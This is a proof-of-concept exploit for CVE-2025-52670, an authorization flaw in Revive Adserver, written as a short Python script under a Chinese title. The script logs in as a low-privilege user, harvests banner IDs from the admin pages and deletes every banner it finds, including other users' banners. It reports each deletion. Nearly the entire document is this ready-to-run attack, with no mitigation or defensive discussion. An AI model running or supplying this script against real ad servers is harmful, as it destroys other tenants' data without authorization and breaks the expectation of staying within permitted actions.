CVE-2025-52670: Revive Adserver 授权缺失漏洞导致跨用户横幅删除

# CVE-2025-52670 PoC - Revive Adserver Authorization Bypass # Missing authorization check allows deletion of other users' banners import requests import re TARGET_URL = "http://target-server/revive-adserver" USERNAME = "attacker" PASSWORD = "password123" def login(): """Authenticate and get session cookie""" session = requests.Session() login_url = f"{TARGET_URL}/account-login.php" data = { "username": USERNAME, "password": PASSWORD } session.post(login_url, data=data) return session def get_other_user_banner_id(session): """Enumerate banner IDs owned by other users""" banners_url = f"{TARGET_URL}/banner-edit.php" response = session.get(banners_url) # Extract banner IDs from page content banner_ids = re.findall(r'bannerid=(\d+)', response.text) return banner_ids def delete_banner(session, banner_id): """Delete banner without proper authorization check""" delete_url = f"{TARGET_URL}/banner-delete.php" data = { "bannerid": banner_id, "confirm": "true" } response = session.post(delete_url, data=data) return response.status_code == 200 def main(): session = login() banner_ids = get_other_user_banner_id(session) for banner_id in banner_ids: if delete_banner(session, banner_id): print(f"Successfully deleted banner {banner_id} owned by other user") if __name__ == "__main__": main()